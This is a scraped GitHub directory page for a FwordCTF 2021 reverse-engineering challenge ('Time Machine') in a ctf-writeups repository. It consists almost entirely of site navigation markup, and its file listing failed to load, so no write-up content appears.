<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
25 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
4
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>2</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>1</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1630369297.4628859" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1630369297.4628859" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>FwordCTF 2021</span></span><span>/</span><span><span>Reverse engineering</span></span><span>/</span>Time Machine<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>FwordCTF 2021</span></span><span>/</span><span><span>Reverse engineering</span></span><span>/</span>Time Machine<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/f3fe3aa11f2a80f3f77703c624e48f72424efc19/FwordCTF%202021/Reverse%20engineering/Time%20Machine" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/KEERRO/ctf-writeups/file-list/master/FwordCTF%202021/Reverse%20engineering/Time%20Machine"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
